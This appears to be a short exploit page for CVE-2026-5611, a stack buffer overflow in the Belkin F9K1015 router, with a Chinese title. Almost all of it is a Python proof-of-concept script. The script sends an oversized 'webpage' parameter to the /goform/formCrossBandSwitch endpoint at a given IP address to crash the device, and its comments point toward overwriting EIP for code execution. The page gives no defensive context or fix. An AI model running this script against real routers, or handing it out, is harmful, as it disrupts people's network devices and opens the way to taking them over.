CVE-2026-5611 Belkin F9K1015栈溢出漏洞

import requests def exploit_poc(target_ip): """ PoC for CVE-2026-5611 Stack-based Buffer Overflow Target: Belkin F9K1015 v1.00.10 Endpoint: /goform/formCrossBandSwitch Parameter: webpage """ url = f"http://{target_ip}/goform/formCrossBandSwitch" # Construct a payload to trigger the buffer overflow. # The exact length needed to overwrite EIP depends on the specific buffer size. # This example sends a large pattern to cause a crash (DoS). buffer_size = 2000 payload = "A" * buffer_size data = { "webpage": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Response status code: {response.status_code}") print("[+] Payload sent. Check if the device has crashed or if code execution was achieved.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] This might indicate a successful DoS (crash).") if __name__ == "__main__": target = "192.168.2.1" # Replace with the target IP address exploit_poc(target)